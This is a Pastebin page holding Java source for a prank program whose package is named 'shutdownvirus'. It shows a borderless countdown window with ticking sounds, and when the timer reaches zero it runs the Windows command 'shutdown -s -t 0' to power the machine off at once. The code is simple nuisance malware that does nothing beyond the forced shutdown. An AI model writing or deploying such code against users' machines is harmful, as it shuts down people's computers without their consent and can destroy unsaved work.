Advertisement
Verzingz

Shutdown

Sep 17th, 2017
107
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 2.41 KB | None | 0 0
  1. package com.vitex.shutdownvirus;
  2.  
  3. import java.awt.Color;
  4. import java.awt.Dimension;
  5. import java.awt.Font;
  6. import java.awt.Graphics;
  7. import java.awt.Graphics2D;
  8. import java.awt.RenderingHints;
  9. import java.awt.event.ActionEvent;
  10. import java.awt.event.ActionListener;
  11. import java.io.File;
  12. import java.io.IOException;
  13.  
  14. import javax.sound.sampled.AudioSystem;
  15. import javax.sound.sampled.Clip;
  16. import javax.sound.sampled.LineUnavailableException;
  17. import javax.sound.sampled.UnsupportedAudioFileException;
  18. import javax.swing.JPanel;
  19. import javax.swing.JWindow;
  20. import javax.swing.Timer;
  21.  
  22. public class Counter extends JPanel implements ActionListener {
  23.  
  24.     private static final long serialVersionUID = -2720521383048783732L;
  25.     private final Font font = new Font("Impact", Font.PLAIN, 72);
  26.     private final File sound = new File("sound/tick.wav");
  27.    
  28.     private Timer timer;
  29.     private int time;
  30.    
  31.     public Counter() {
  32.         setOpaque(false);
  33.         setPreferredSize(new Dimension(400, 400));
  34.         time = 60;
  35.         timer = new Timer(1000, this);
  36.         timer.start();
  37.     }
  38.  
  39.     @Override
  40.     public void paintComponent(Graphics graphics) {
  41.         super.paintComponent(graphics);
  42.         Graphics2D graphics2D = (Graphics2D) graphics;
  43.         graphics2D.setRenderingHint(RenderingHints.KEY_TEXT_ANTIALIASING, RenderingHints.VALUE_TEXT_ANTIALIAS_ON);
  44.         graphics2D.setFont(font);
  45.         graphics2D.setColor(Color.green);
  46.         String text = "00:" + String.valueOf(time);
  47.         int width = graphics.getFontMetrics().stringWidth(text);
  48.         graphics2D.drawString(text, getWidth() / 2 - width / 2, getHeight() / 2);
  49.     }
  50.  
  51.     @Override
  52.     public void actionPerformed(ActionEvent arg0) {
  53.         time--;
  54.        
  55.         if (time == 0) {
  56.             shutdown();
  57.         }
  58.        
  59.         repaint();
  60.         playSound();
  61.     }
  62.    
  63.     private void shutdown() {
  64.         try {
  65.             Runtime runtime = Runtime.getRuntime();
  66.             runtime.exec("shutdown -s -t 0");
  67.             System.exit(0);
  68.         } catch(IOException e) {
  69.             e.printStackTrace();
  70.         }
  71.     }
  72.    
  73.     private void playSound() {
  74.         try {
  75.             Clip clip = AudioSystem.getClip();
  76.             clip.open(AudioSystem.getAudioInputStream(sound));
  77.             clip.start();
  78.         } catch(LineUnavailableException | IOException | UnsupportedAudioFileException e) {
  79.             e.printStackTrace();
  80.         }
  81.     }
  82.    
  83.     public static void main(String[] args) {
  84.         JWindow window = new JWindow();
  85.        
  86.         window.add(new Counter());
  87.         window.pack();
  88.         window.setBackground(new Color(0, 0, 0, 0));
  89.         window.setLocationRelativeTo(null);
  90.         window.setVisible(true);
  91.     }
  92.    
  93. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement